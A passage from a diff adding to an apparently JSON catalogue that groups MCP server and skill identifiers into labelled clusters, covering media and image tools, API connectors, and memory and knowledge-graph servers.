"mcp-server:context-generator", + "mcp-server:cosa-sai-gemini-docs", + "mcp-server:crabcut", + "mcp-server:crontab-generator", + "mcp-server:cypress-test-generator", + "mcp-server:dall-e", + "mcp-server:dall-e-3", + "mcp-server:dall-e-image-generation", + "mcp-server:dall-e-image-generator", + "mcp-server:decimer", + "mcp-server:deep-research-gemini", + "mcp-server:deepsrt", + "mcp-server:desktop-image-manager", + "mcp-server:dicebear-avatars", + "mcp-server:dicom-viewer", + "mcp-server:diffugen", + "mcp-server:distill-podcast-generator", + "mcp-server:docent-image-description", + "mcp-server:document-generator", + "mcp-server:document-processing-and-youtube-content-extraction", + "mcp-server:dom-screenshot", + "mcp-server:doubao-image-generation", + "mcp-server:doubao-image-video", + "mcp-server:draw-flow", + "mcp-server:draw-io-diagram-generator", + "mcp-server:draw-io-diagrams", + "mcp-server:draw-things", + "mcp-server:draw2agent", + "mcp-server:echarts", + "mcp-server:emacs-lisp-generator", + "mcp-server:everart", + "mcp-server:exif-metadata", + "mcp-server:face-generator", + "mcp-server:fal-ai", + "mcp-server:fal-ai-image-generation", + "mcp-server:fal-ai-video-generator", + "mcp-server:fetch-web-content-youtube-transcripts", + "mcp-server:ffmpeg", + "mcp-server:ffmpeg-helper", + "mcp-server:ffmpeg-lite", + "mcp-server:ffmpeg-micro", + "mcp-server:ffmpeg-toolkit", + "mcp-server:ffmpeg-video-manipulation", + "mcp-server:ffmpeg-video-processor", + "mcp-server:florence-2", + "mcp-server:flux-ao-arweave", + "mcp-server:flux-cloud", + "mcp-server:flux-gitops", + "mcp-server:flux-image-generator", + "mcp-server:flux-image-generator-black-forest-lab", + "mcp-server:flux-schnell", + "mcp-server:flux-schnell-replicate", + "mcp-server:flux-studio", + "mcp-server:game-asset-generator", + "mcp-server:gemforge-google-gemini", + "mcp-server:gemini", + "mcp-server:gemini-2-0-flash", + "mcp-server:gemini-2-5-pro", + "mcp-server:gemini-ai", + "mcp-server:gemini-ai-patched", + "mcp-server:gemini-api-docs", + "mcp-server:gemini-api-documentation", + "mcp-server:gemini-audio", + "mcp-server:gemini-bridge", + "mcp-server:gemini-cli", + "mcp-server:gemini-cli-orchestrator", + "mcp-server:gemini-cli-windows-fixed", + "mcp-server:gemini-cloud-assist", + "mcp-server:gemini-codex-alternative", + "mcp-server:gemini-collaboration", + "mcp-server:gemini-context", + "mcp-server:gemini-data-analysis-research", + "mcp-server:gemini-deepsearch", + "mcp-server:gemini-embedding", + "mcp-server:gemini-faf", + "mcp-server:gemini-image-generation", + "mcp-server:gemini-image-generator", + "mcp-server:gemini-image-studio", + "mcp-server:gemini-images", + "mcp-server:gemini-media", + "mcp-server:gemini-media-analysis", + "mcp-server:gemini-nanobanana-image-generation", + "mcp-server:gemini-pro", + "mcp-server:gemini-research", + "mcp-server:gemini-researcher", + "mcp-server:gemini-thinking", + "mcp-server:gemini-token-usage", + "mcp-server:gemini-tts", + "mcp-server:gemini-ui-design-server", + "mcp-server:gemsuite-google-gemini", + "mcp-server:geoapify-map-generator", + "mcp-server:ghibli-video-generator", + "mcp-server:gif-creator", + "mcp-server:gimmick-vision", + "mcp-server:glasses", + "mcp-server:glm-4-5v-vision", + "mcp-server:glm-vision", + "mcp-server:glue-code-generator", + "mcp-server:google-gemini", + "mcp-server:google-gemini-by-crunchtools", + "mcp-server:gpt-5", + "mcp-server:gpt-image", + "mcp-server:gpt-image-generator", + "mcp-server:grok", + "mcp-server:grok-vision-ocr", + "mcp-server:grok2-image-generator", + "mcp-server:gumlet", + "mcp-server:gyazo", + "mcp-server:hash-generator", + "mcp-server:helm", + "mcp-server:helm-chart-reader", + "mcp-server:html-css-to-image", + "mcp-server:icloud-photos", + "mcp-server:icon-composer", + "mcp-server:icon-visual", + "mcp-server:iconfont", + "mcp-server:iconify", + "mcp-server:iconify-svg", + "mcp-server:ideogram", + "mcp-server:ideogram-images", + "mcp-server:idgen-unique-identifier-generator", + "mcp-server:image-analysis-gpt-4-vision", + "mcp-server:image-dimensions", + "mcp-server:image-download-and-optimize", + "mcp-server:image-edit-rmcp", + "mcp-server:image-extractor", + "mcp-server:image-gen-jimeng-ai", + "mcp-server:image-generation", + "mcp-server:image-generation-cloudflare", + "mcp-server:image-generation-flux", + "mcp-server:image-generation-flux-schnell", + "mcp-server:image-generation-replicate", + "mcp-server:image-generator", + "mcp-server:image-generator-openai", + "mcp-server:image-placeholder", + "mcp-server:image-processor", + "mcp-server:image-reader", + "mcp-server:image-recognition", + "mcp-server:image-resize", + "mcp-server:image-resolver", + "mcp-server:image-toolkit", + "mcp-server:image-worker", + "mcp-server:imagegen", + "mcp-server:imagen-3", + "mcp-server:imagenate", + "mcp-server:imagesorcery", + "mcp-server:imagician", + "mcp-server:imdb", + "mcp-server:img-src-io", + "mcp-server:imgmcp", + "mcp-server:imgx", + "mcp-server:inbound-lead-generation", + "mcp-server:inchat-image-viewer", + "mcp-server:inspire", + "mcp-server:jianying", + "mcp-server:kendo-ui-agentic-ui-generator-for-angular", + "mcp-server:konva-js-canvas", + "mcp-server:layout-detector", + "mcp-server:learning-hour-generator", + "mcp-server:leonardo-ai", + "mcp-server:letzai", + "mcp-server:libresprite", + "mcp-server:logoloom-by-mcpware", + "mcp-server:luma-ai-video-generation", + "mcp-server:macos-vision", + "mcp-server:magic-21st-dev-ui-generator", + "mcp-server:magick-convert-imagemagick", + "mcp-server:manim", + "mcp-server:media-editor", + "mcp-server:media-gen", + "mcp-server:meme-generator-imgflip", + "mcp-server:mermaid", + "mcp-server:mermaid-app", + "mcp-server:mermaid-chart", + "mcp-server:mermaid-diagram-editor", + "mcp-server:mermaid-diagram-generator", + "mcp-server:mermaid-studio", + "mcp-server:mermaid-validator", + "mcp-server:metatag-genie", + "mcp-server:midjourney", + "mcp-server:mindpilot-mermaid-diagrams", + "mcp-server:minimax-multimodal", + "mcp-server:moda-remote-camera", + "mcp-server:modelscope-qwen-image", + "mcp-server:moondream", + "mcp-server:moviepilot", + "mcp-server:movies", + "mcp-server:mpv", + "mcp-server:mulmocast-vision", + "mcp-server:multimodal", + "mcp-server:mux-video-and-data-platform", + "mcp-server:nakkas", + "mcp-server:nano-agent", + "mcp-server:nano-banana", + "mcp-server:nano-banana-gemini-2-5-flash-image", + "mcp-server:nano-banana-gemini-image-generator", + "mcp-server:nano-banana-pro-gemini", + "mcp-server:nanobanana", + "mcp-server:nanobanana-image-gen", + "mcp-server:nanobanana-image-generator", + "mcp-server:nasa-images", + "mcp-server:nature-vision", + "mcp-server:neo-vision", + "mcp-server:neuralpulse", + "mcp-server:nightglass", + "mcp-server:novelai", + "mcp-server:o-rly-book-cover-generator", + "mcp-server:ohmygpt-flux", + "mcp-server:openai-image-generation", + "mcp-server:openai-image-generator", + "mcp-server:openrouter-image-analysis", + "mcp-server:openscad-3d-model-generator", + "mcp-server:openverse", + "mcp-server:opgen-password-generator", + "mcp-server:optic", + "mcp-server:outsource", + "mcp-server:page-image-scanner", + "mcp-server:pagepixels-screenshots", + "mcp-server:painter-canvas-drawing", + "mcp-server:payment-button-generator", + "mcp-server:personalive", + "mcp-server:photographi-mcp", + "mcp-server:photopea", + "mcp-server:photoroom", + "mcp-server:piapi-image-generation", + "mcp-server:pictomancer", + "mcp-server:pictory", + "mcp-server:piranha-vision", + "mcp-server:piskel", + "mcp-server:pixelixe", + "mcp-server:pixelle-comfyui", + "mcp-server:pixelpanda", + "mcp-server:placid-image-generator", + "mcp-server:plainly-videos", + "mcp-server:plotnine", + "mcp-server:plots", + "mcp-server:plugged-in-random-number-generator", + "mcp-server:pollinations-multimodal", + "mcp-server:popcorn", + "mcp-server:postman-tool-generation", + "mcp-server:powerpoint-generator", + "mcp-server:prd-generator", + "mcp-server:pulumi-resource-example-generator", + "mcp-server:pvliesdonk-image-generation", + "mcp-server:qr-generator", + "mcp-server:quickchart", + "mcp-server:random-generation", + "mcp-server:random-number-generator", + "mcp-server:rapidocr", + "mcp-server:read-images", + "mcp-server:readme-generator", + "mcp-server:recraft-ai", + "mcp-server:regex-generator", + "mcp-server:rembg", + "mcp-server:remotion", + "mcp-server:rendex", + "mcp-server:rendi", + "mcp-server:replicate-flux", + "mcp-server:report-generator", + "mcp-server:rippr", + "mcp-server:rostro", + "mcp-server:runway", + "mcp-server:runwayml-luma-ai", + "mcp-server:safari-screenshot", + "mcp-server:sage-gemini-2-5-pro", + "mcp-server:sanity-images-by-pijusz", + "mcp-server:sbom-generator-trivy", + "mcp-server:scaffold-generator", + "mcp-server:scenario-ai", + "mcp-server:sceneview", + "mcp-server:scientific-paper-analyzer-gemini", + "mcp-server:screen-capture", + "mcp-server:screenpipe", + "mcp-server:screenshot", + "mcp-server:screenshot-capture", + "mcp-server:screenshot-website-fast", + "mcp-server:screenshotone", + "mcp-server:screenstream", + "mcp-server:script-generator", + "mcp-server:second-opinion-gemini", + "mcp-server:seedream", + "mcp-server:seedream-volcengine", + "mcp-server:sharp-3d-gaussian-splat-generator", + "mcp-server:sharp-image-processing", + "mcp-server:short-video-maker", + "mcp-server:slug-generator", + "mcp-server:smartest-tv", + "mcp-server:snaprender", + "mcp-server:social-video", + "mcp-server:sora", + "mcp-server:source-tree-generator", + "mcp-server:ssemble-ai-clipping", + "mcp-server:stability-ai", + "mcp-server:stable-diffusion-ncnn", + "mcp-server:stable-diffusion-webui", + "mcp-server:stableavatar", + "mcp-server:stockfilm", + "mcp-server:studiomcphub", + "mcp-server:subtext", + "mcp-server:summarizer", + "mcp-server:suno-music-generator", + "mcp-server:svg-converter", + "mcp-server:svgmaker", + "mcp-server:tailwind-gemini", + "mcp-server:text-summarizer", + "mcp-server:textarttools", + "mcp-server:tiktok", + "mcp-server:tiktok-video-discovery", + "mcp-server:tinypng", + "mcp-server:together-ai-flux-1-schnell", + "mcp-server:tongyi-wanx", + "mcp-server:tradingview-chart", + "mcp-server:transloadit", + "mcp-server:transparent-png", + "mcp-server:traverse", + "mcp-server:tubemcp", + "mcp-server:tv-show-recommender-tmdb", + "mcp-server:twi-text-to-image", + "mcp-server:twitter-x-with-gemini-image-generation", + "mcp-server:unified-diff-generator", + "mcp-server:universal-image-generator", + "mcp-server:unsplash", + "mcp-server:url2snap-website-screenshot", + "mcp-server:uuid-generator", + "mcp-server:vchart", + "mcp-server:veo2-video-generation", + "mcp-server:vertex-ai-gemini", + "mcp-server:vibestudio-ffmpeg", + "mcp-server:video-audio-editor", + "mcp-server:video-audio-text-extraction", + "mcp-server:video-clip", + "mcp-server:video-digest", + "mcp-server:video-edit-moviepy", + "mcp-server:video-editor", + "mcp-server:video-editor-ffmpeg", + "mcp-server:video-extraction-plus", + "mcp-server:video-url-analyzer", + "mcp-server:videocapture", + "mcp-server:videodb", + "mcp-server:vidlens", + "mcp-server:vidu", + "mcp-server:vipergpt-visual-question-answering", + "mcp-server:vision-relay", + "mcp-server:vision-video-understanding", + "mcp-server:vivideo", + "mcp-server:vizro", + "mcp-server:volcengine-doubao", + "mcp-server:vsegpt-image-generator", + "mcp-server:webcam", + "mcp-server:webcam-screenshot-capture", + "mcp-server:webpage-screenshot", + "mcp-server:website-screenshot-fast", + "mcp-server:welcome-text-generator", + "mcp-server:whimsical", + "mcp-server:winsight", + "mcp-server:xiaohongshu-content-generator", + "mcp-server:xray-vision", + "mcp-server:yolo-computer-vision", + "mcp-server:yolo-object-detection", + "mcp-server:youtube", + "mcp-server:youtube-by-mrsknetwork", + "mcp-server:youtube-captions", + "mcp-server:youtube-data", + "mcp-server:youtube-data-api", + "mcp-server:youtube-dlp", + "mcp-server:youtube-downloader", + "mcp-server:youtube-intelligence", + "mcp-server:youtube-knowledge", + "mcp-server:youtube-music", + "mcp-server:youtube-playlist-transcripts", + "mcp-server:youtube-research", + "mcp-server:youtube-semantic-search", + "mcp-server:youtube-subtitles", + "mcp-server:youtube-summarize", + "mcp-server:youtube-summarizer", + "mcp-server:youtube-to-sheets", + "mcp-server:youtube-transcript", + "mcp-server:youtube-transcript-downloader", + "mcp-server:youtube-transcript-extractor", + "mcp-server:youtube-transcription", + "mcp-server:youtube-transcripts", + "mcp-server:youtube-translate", + "mcp-server:youtube-ultimate-toolkit", + "mcp-server:youtube-uploader", + "mcp-server:youtube-video-analyzer", + "mcp-server:youtube-watch-later", + "mcp-server:youtube2text", + "mcp-server:z-ai-image-and-video-generation", + "mcp-server:zoom-recording-downloader", + "skill:akf-trust-metadata", + "skill:fal-audio", + "skill:fal-generate", + "skill:fal-image-edit", + "skill:fal-upscale", + "skill:plotly", + "skill:remotion-best-practices", + "skill:remotion-video-creation", + "skill:seek-and-analyze-video", + "skill:ux-ui-analyze-single-page", + "skill:videodb", + "skill:youtube-automation", + "skill:youtube-summarizer" + ] + }, + "17": { + "label": "Community + Official + Api", + "members": [ + "mcp-server:actionkit-slack", + "mcp-server:adadvisor", + "mcp-server:adramp", + "mcp-server:ads-b-exchange", + "mcp-server:adspirer", + "mcp-server:adweave-meta-ads", + "mcp-server:africa-api", + "mcp-server:alchemy-blockchain-api", + "mcp-server:amap-navigator", + "mcp-server:amazon-ads", + "mcp-server:amazon-ads-marketplaceadpros", + "mcp-server:amazon-advertising", + "mcp-server:any-openapi", + "mcp-server:any-rest", + "mcp-server:anytype", + "mcp-server:api-client", + "mcp-server:api-documentation", + "mcp-server:api-football", + "mcp-server:api-for-chads", + "mcp-server:api-locker", + "mcp-server:api-market", + "mcp-server:api-mind", + "mcp-server:api-test-framework", + "mcp-server:api-tester", + "mcp-server:api-tester-openai", + "mcp-server:api-testing", + "mcp-server:api-tools", + "mcp-server:autodesk-alias-python-api", + "mcp-server:autumn-pricing-api", + "mcp-server:balldontlie", + "mcp-server:bernerspace-slack", + "mcp-server:botindex", + "mcp-server:brasil-api", + "mcp-server:bruno-api", + "mcp-server:btcfi-api", + "mcp-server:bundler-gem-explorer", + "mcp-server:bybit-exchange-api", + "mcp-server:cc-meta-prompt-evaluator", + "mcp-server:cff-explorer", + "mcp-server:chess-com-api", + "mcp-server:chess-com-stats", + "mcp-server:chikoh", + "mcp-server:cloudbet-sports", + "mcp-server:cloudflare-api", + "mcp-server:cluster-api", + "mcp-server:co-valid-chat-with-your-ads", + "mcp-server:color-api", + "mcp-server:compiler-explorer", + "mcp-server:connectwise-manage-api", + "mcp-server:controlapi-openapi", + "mcp-server:crate-public-api", + "mcp-server:cualbet", + "mcp-server:daipendency-public-api-docs", + "mcp-server:discord-full-api", + "mcp-server:dogs-api", + "mcp-server:doordash-drive-api", + "mcp-server:ds-core-open-api", + "mcp-server:dungeon-explorer", + "mcp-server:edinburgh-festival-api", + "mcp-server:eigenlayer-avs-explorer", + "mcp-server:end-of-life-api", + "mcp-server:eolink-openapi", + "mcp-server:esa-io-api", + "mcp-server:espn", + "mcp-server:evolution-api", + "mcp-server:facebook-ads", + "mcp-server:facebook-ads-library", + "mcp-server:fantasy-premier-league", + "mcp-server:finfeedapi-sec-api", + "mcp-server:flaim", + "mcp-server:footballbin", + "mcp-server:frappe-api", + "mcp-server:futu-api", + "mcp-server:ghost-admin-api", + "mcp-server:gitlab-http-api", + "mcp-server:google-ads", + "mcp-server:google-ads-ga4", + "mcp-server:google-ads-transparency-center", + "mcp-server:google-meta-ads-ga4", + "mcp-server:hackernews-api", + "mcp-server:hal-http-api-layer", + "mcp-server:haoka-api", + "mcp-server:hapi", + "mcp-server:higress-api-gateway", + "mcp-server:hostinger-api", + "mcp-server:ign-api-carto", + "mcp-server:imagin-studio-api-docs", + "mcp-server:inday-holiday-api", + "mcp-server:jitapi", + "mcp-server:keycloak-admin-api", + "mcp-server:kmp-api-lookup", + "mcp-server:konquest-meta-ads", + "mcp-server:korea-tourism-api", + "mcp-server:laei-ro", + "mcp-server:league-of-legends", + "mcp-server:linked-api", + "mcp-server:linkedin-ads", + "mcp-server:live-bitcoinintel-signal-api", + "mcp-server:llm-api-docs", + "mcp-server:llms-txt-explorer", + "mcp-server:lolgpt-league-of-legends-esports", + "mcp-server:longport-openapi", + "mcp-server:m-pesa-safaricom-daraja-api", + "mcp-server:magic-api", + "mcp-server:mcpify-openapi", + "mcp-server:meta-ads", + "mcp-server:meta-ads-api", + "mcp-server:meta-ads-complete", + "mcp-server:meta-api-gateway", + "mcp-server:meta-google-ads-connector", + "mcp-server:meta-marketing-api", + "mcp-server:meta-prompt", + "mcp-server:meta-prompting", + "mcp-server:metersphere-api-testing", + "mcp-server:microsoft-advertising-bing-ads", + "mcp-server:microsoft-teams-api", + "mcp-server:mlb-stats-api", + "mcp-server:nasa-ads", + "mcp-server:nasa-api", + "mcp-server:nasa-apis", + "mcp-server:nasa-astronomy-picture-of-the-day", + "mcp-server:naver-openapi", + "mcp-server:nba-player-stats", + "mcp-server:nba-stats", + "mcp-server:next-js-api-scanner", + "mcp-server:nextcloud-dynamic", + "mcp-server:nexus-api-lab", + "mcp-server:nft-floor", + "mcp-server:nft-metadata", + "mcp-server:nftgo-api", + "mcp-server:nhl", + "mcp-server:nhl-stats", + "mcp-server:nina-advanced-api", + "mcp-server:node-js-api-documentation", + "mcp-server:numbers-api", + "mcp-server:onenote-graph-api", + "mcp-server:openapi", + "mcp-server:openapi-analyzer", + "mcp-server:openapi-diff", + "mcp-server:openapi-discovery", + "mcp-server:openapi-dynamic", + "mcp-server:openapi-link", + "mcp-server:openapi-proxy", + "mcp-server:openapi-schema", + "mcp-server:openapi-schema-explorer", + "mcp-server:openapi-swagger-converter", + "mcp-server:openapi-transformer", + "mcp-server:openapi-unbundler", + "mcp-server:orbis-api", + "mcp-server:ovh-api", + "mcp-server:paidsync", + "mcp-server:pbs-api", + "mcp-server:pega-dx-api", + "mcp-server:perspective-api", + "mcp-server:pi-dashboard-api", + "mcp-server:pipeboard-meta-ads", + "mcp-server:quran-com-api", + "mcp-server:raccoon-ai-lam-api", + "mcp-server:rails-explorer", + "mcp-server:reddit-ads", + "mcp-server:rest-api", + "mcp-server:rest-api-tester", + "mcp-server:scaleforge-meta-ads", + "mcp-server:screenshot-api", + "mcp-server:securityscan-api", + "mcp-server:shepherd-bible-api", + "mcp-server:signnow-api-helper", + "mcp-server:slack", + "mcp-server:slack-agent-team", + "mcp-server:slack-by-crunchtools", + "mcp-server:slack-cli", + "mcp-server:slack-cli-wrapper", + "mcp-server:slack-conversations", + "mcp-server:slack-explorer", + "mcp-server:slack-lists", + "mcp-server:slack-web-api", + "mcp-server:sleeper-fantasy-football", + "mcp-server:sovereign-api-generator", + "mcp-server:specbridge", + "mcp-server:sports", + "mcp-server:sports-card-agent", + "mcp-server:sports-leader", + "mcp-server:sprtx", + "mcp-server:star-wars-api", + "mcp-server:statcast", + "mcp-server:stats-compass", + "mcp-server:statsplus", + "mcp-server:steam-web-api", + "mcp-server:superface-api-tools-ecosystem", + "mcp-server:superhero-api", + "mcp-server:swagger", + "mcp-server:swagger-api", + "mcp-server:swagger-api-client-generator", + "mcp-server:swagger-explorer", + "mcp-server:swagger-openapi", + "mcp-server:swagger-openapi-explorer", + "mcp-server:swagger-postman-api-explorer", + "mcp-server:swap-api", + "mcp-server:synter-ads", + "mcp-server:tariffs-api", + "mcp-server:tencent-ads", + "mcp-server:tesla-fleet-api", + "mcp-server:the-odds-api", + "mcp-server:tiktok-ads", + "mcp-server:time-and-workdays-timor-api", + "mcp-server:twilio-api", + "mcp-server:twitch", + "mcp-server:unity-api-documentation", + "mcp-server:unstructured-api", + "mcp-server:vercel-api", + "mcp-server:webhook-tester", + "mcp-server:wordpress-rest-api", + "mcp-server:workboard-by-crunchtools", + "mcp-server:yahoo-fantasy-football", + "mcp-server:yango-tech-b2b-api", + "mcp-server:z-api", + "mcp-server:zoom-api", + "mcp-server:zyla-api-hub", + "skill:api-connector-builder", + "skill:api-documentation-generator", + "skill:gemini-api-integration", + "skill:moodle-external-api-development" + ] + }, + "18": { + "label": "Community + Official + Reference", + "members": [ + "mcp-server:0latency", + "mcp-server:a-mem", + "mcp-server:a-mem-agentic-memory", + "mcp-server:abbacus-cortex", + "mcp-server:ace-memory", + "mcp-server:actor-critic-thinking", + "mcp-server:adaptive-agent", + "mcp-server:adaptive-graph-of-thoughts", + "mcp-server:adaptive-memory-graph", + "mcp-server:advanced-reasoning", + "mcp-server:advanced-reasoning-with-deepseek", + "mcp-server:agent-knowledge", + "mcp-server:agent-memory", + "mcp-server:agentic-loop-memory", + "mcp-server:agentkits-memory", + "mcp-server:agi-memory", + "mcp-server:ai-memory", + "mcp-server:ai-memory-protocol", + "mcp-server:aiqbee-brain", + "mcp-server:ambivo", + "mcp-server:amp-agent-memory-protocol", + "mcp-server:anamnese", + "mcp-server:anneal-memory", + "mcp-server:apache-age-graph", + "mcp-server:apache-jena-sparql", + "mcp-server:apollo-graphql", + "mcp-server:arca", + "mcp-server:archetypal-ai", + "mcp-server:arcology-knowledge-node", + "mcp-server:astgl-knowledge", + "mcp-server:atom-of-thoughts", + "mcp-server:automem", + "mcp-server:axom", + "mcp-server:basic-memory", + "mcp-server:beads", + "mcp-server:better-qdrant", + "mcp-server:bluecolumn", + "mcp-server:bolor-brain", + "mcp-server:brain-memory-system", + "mcp-server:brain-trust", + "mcp-server:brainbox", + "mcp-server:brainfaq", + "mcp-server:brainrot", + "mcp-server:branch-thinking", + "mcp-server:buildautomata-memory", + "mcp-server:canvas-student", + "mcp-server:cathedral", + "mcp-server:central-memory", + "mcp-server:chain-memory", + "mcp-server:chain-of-draft", + "mcp-server:chain-of-recursive-thoughts", + "mcp-server:chain-of-thought", + "mcp-server:channel-memory", + "mcp-server:charly-memory-cache", + "mcp-server:chart-library", + "mcp-server:chroma-working-memory", + "mcp-server:chronos", + "mcp-server:claude-memory", + "mcp-server:clear-thought", + "mcp-server:clude-bot-memory", + "mcp-server:codebase-memory", + "mcp-server:codevira", + "mcp-server:cogmemai", + "mcp-server:cognitive-memory", + "mcp-server:cognos-session-memory", + "mcp-server:conductor-graph", + "mcp-server:confluence-wiki", + "mcp-server:connapse", + "mcp-server:contemplation", + "mcp-server:contexta", + "mcp-server:contextstream", + "mcp-server:continuo-memory", + "mcp-server:continuum", + "mcp-server:cortex", + "mcp-server:cosmwasm-social-graph", + "mcp-server:cozo-memory", + "mcp-server:ctx-sys", + "mcp-server:cuba-memorys", + "mcp-server:cursor10x-memory", + "mcp-server:deep-reasoning-openrouter", + "mcp-server:deeprecall", + "mcp-server:deepseek", + "mcp-server:deepseek-r1", + "mcp-server:deepseek-r1-reasoner", + "mcp-server:deepseek-r1-reasoning", + "mcp-server:deepseek-reasoner", + "mcp-server:deepseek-thinker", + "mcp-server:deliberate-thinking", + "mcp-server:designare-knowledge-base", + "mcp-server:developer-knowledge-graph", + "mcp-server:dingtalk-wiki", + "mcp-server:doctah-prts-wiki", + "mcp-server:dual-cycle-reasoner", + "mcp-server:echovault-go", + "mcp-server:elasticsearch-knowledge-graph", + "mcp-server:elefante", + "mcp-server:elephantasm", + "mcp-server:engram", + "mcp-server:engram-adapter", + "mcp-server:engram-by-tstockham96", + "mcp-server:engram-memory", + "mcp-server:engram-rs", + "mcp-server:engrm", + "mcp-server:epitome", + "mcp-server:external-memory", + "mcp-server:fegis-schema-driven-memory", + "mcp-server:fixflow", + "mcp-server:game-thinking", + "mcp-server:giskard-memory", + "mcp-server:gitmem", + "mcp-server:gnosys", + "mcp-server:go-code-graph", + "mcp-server:goldhold", + "mcp-server:google-knowledge-graph", + "mcp-server:grantai-memory", + "mcp-server:graph-aave", + "mcp-server:graph-memory", + "mcp-server:graph-polymarket", + "mcp-server:graph-visualization", + "mcp-server:graphiti", + "mcp-server:graphiti-knowledge-graph", + "mcp-server:graphiti-pro", + "mcp-server:graphql", + "mcp-server:graphql-explorer", + "mcp-server:graphql-forge", + "mcp-server:graphql-schema", + "mcp-server:graphql-toolkit", + "mcp-server:graphrag", + "mcp-server:grug-brain", + "mcp-server:gzoonet-cortex", + "mcp-server:haiguitang-lateral-thinking-puzzles", + "mcp-server:hasura-graphql", + "mcp-server:hebbian-mind-enterprise", + "mcp-server:hekkova", + "mcp-server:hermes-brain", + "mcp-server:hindsight-mempalace", + "mcp-server:hippodid", + "mcp-server:hmem", + "mcp-server:holomime", + "mcp-server:hot-memory", + "mcp-server:idea-basin", + "mcp-server:imgflip", + "mcp-server:in-memoria", + "mcp-server:instinct", + "mcp-server:iq-wiki", + "mcp-server:iranti", + "mcp-server:kgs-knowledge-graph", + "mcp-server:kip", + "mcp-server:kiro-memory", + "mcp-server:knowledge-base-retrieval", + "mcp-server:knowledge-graph", + "mcp-server:knowledge-graph-memory", + "mcp-server:knowledge-graph-toolkit", + "mcp-server:knowledge-rag", + "mcp-server:knowledge-raven", + "mcp-server:kuzumem", + "mcp-server:lancedb-memory", + "mcp-server:langbase-reasoning", + "mcp-server:libsql-memory", + "mcp-server:lightning-memory", + "mcp-server:linggen", + "mcp-server:linksee-memory", + "mcp-server:lipsky-memory", + "mcp-server:literature-memory", + "mcp-server:llm-wiki-kit", + "mcp-server:local-memory", + "mcp-server:loci", + "mcp-server:locus", + "mcp-server:logseq-knowledge-graph", + "mcp-server:lokka-microsoft-graph", + "mcp-server:longhand", + "mcp-server:longmem", + "mcp-server:m3-memory", + "mcp-server:magento-graphql-docs", + "mcp-server:mahoraga", + "mcp-server:marm-systems", + "mcp-server:maxential-thinking", + "mcp-server:medha", + "mcp-server:meegle", + "mcp-server:melchizedek-memory", + "mcp-server:mem0", + "mcp-server:mem0-ai-memory-manager", + "mcp-server:mem0-autonomous-memory", + "mcp-server:mem0-for-project-management", + "mcp-server:mem0-long-term-memory", + "mcp-server:memara-memory", + "mcp-server:memdata", + "mcp-server:memdocs", + "mcp-server:memdx", + "mcp-server:memento", + "mcp-server:memento-by-annibale-x", + "mcp-server:memesio", + "mcp-server:memestack", + "mcp-server:memex", + "mcp-server:memex-touchskyer", + "mcp-server:memgpt", + "mcp-server:meminal", + "mcp-server:memmcp-cheat-engine", + "mcp-server:memobase", + "mcp-server:memoer-persistent-memory-storage", + "mcp-server:memograph", + "mcp-server:memoir", + "mcp-server:memori", + "mcp-server:memoria", + "mcp-server:memories-with-lessons", + "mcp-server:memorizer", + "mcp-server:memory", + "mcp-server:memory-bank", + "mcp-server:memory-box", + "mcp-server:memory-by-file", + "mcp-server:memory-cache", + "mcp-server:memory-crystal", + "mcp-server:memory-custom", + "mcp-server:memory-gateway", + "mcp-server:memory-graph", + "mcp-server:memory-inspector", + "mcp-server:memory-journal", + "mcp-server:memory-knowledge-graph", + "mcp-server:memory-libsql", + "mcp-server:memory-manager", + "mcp-server:memory-mcp", + "mcp-server:memory-os", + "mcp-server:memory-plugin-sqlite", + "mcp-server:memory-plus", + "mcp-server:memory-postgresql", + "mcp-server:memory-pouchdb", + "mcp-server:memory-quality-auditor", + "mcp-server:memory-storage", + "mcp-server:memorylens", + "mcp-server:memorymesh", + "mcp-server:mempalace", + "mcp-server:memphora", + "mcp-server:mempool-space", + "mcp-server:memprocfs", + "mcp-server:memrl", + "mcp-server:memsolus", + "mcp-server:memvid", + "mcp-server:memwright", + "mcp-server:mentedb", + "mcp-server:mentor-deepseek", + "mcp-server:mesquared-visibility", + "mcp-server:mifactory-agent-memory", + "mcp-server:mind", + "mcp-server:mind-keg", + "mcp-server:mindpm", + "mcp-server:mini-memory", + "mcp-server:minime", + "mcp-server:mirror-memory", + "mcp-server:mnemex", + "mcp-server:mnemo", + "mcp-server:mnemograph", + "mcp-server:mnemolog", + "mcp-server:mnemon", + "mcp-server:mnemoverse-memory", + "mcp-server:mono-memory", + "mcp-server:morsa-memory-bank", + "mcp-server:msbuild-graph", + "mcp-server:myai-memory", + "mcp-server:myghosts", + "mcp-server:nan-forget", + "mcp-server:neo-memory", + "mcp-server:neo4j", + "mcp-server:neo4j-agent-memory", + "mcp-server:neo4j-graph", + "mcp-server:neo4j-graph-database", + "mcp-server:neo4j-graphrag", + "mcp-server:neo4j-knowledge-graph", + "mcp-server:neural-memory", + "mcp-server:neurodivergent-memory", + "mcp-server:neurohive", + "mcp-server:neuromcp", + "mcp-server:neurostack", + "mcp-server:nex", + "mcp-server:nexo-brain", + "mcp-server:nexus-memory", + "mcp-server:niivue", + "mcp-server:novyx-memory", + "mcp-server:nowledge-mem", + "mcp-server:nucleus", + "mcp-server:nyxtools-claude-memory-manager", + "mcp-server:obsidian-memory", + "mcp-server:octobrain", + "mcp-server:omega", + "mcp-server:onyx-knowledge-base", + "mcp-server:openclaw-knowledge-distiller", + "mcp-server:optimized-memory", + "mcp-server:ordali-memory", + "mcp-server:ori-mnemos", + "mcp-server:osrs-wiki", + "mcp-server:otonom-aglar", + "mcp-server:pdf-knowledge-base", + "mcp-server:penfield", + "mcp-server:pensyve", + "mcp-server:pieces-long-term-memory", + "mcp-server:pltm", + "mcp-server:pluggable-knowledge-graph-memory", + "mcp-server:pluribus", + "mcp-server:pmll-memory", + "mcp-server:prism", + "mcp-server:processhacker", + "mcp-server:project-kg", + "mcp-server:prolog-reasoner", + "mcp-server:prometheus-knowledge-network", + "mcp-server:psyche-ai", + "mcp-server:pure-storage-flashblade", + "mcp-server:purmemo", + "mcp-server:qdrant-knowledge-graph", + "mcp-server:qualitative-research-knowledge-graph", + "mcp-server:rag-memory", + "mcp-server:raphtory-graphql-schema-explorer", + "mcp-server:rat-retrieval-augmented-thinking", + "mcp-server:rdf-explorer", + "mcp-server:recall", + "mcp-server:recordo", + "mcp-server:recursive-thinking", + "mcp-server:remember-me-collections", + "mcp-server:remember-the-milk", + "mcp-server:rememberizer", + "mcp-server:remembra", + "mcp-server:remembrall", + "mcp-server:repo-graph", + "mcp-server:repository-graphrag", + "mcp-server:retrieval-augmented-thinking", + "mcp-server:rigour", + "mcp-server:robotmem", + "mcp-server:roo-code-memory-bank", + "mcp-server:rowik-personal-mediawiki", + 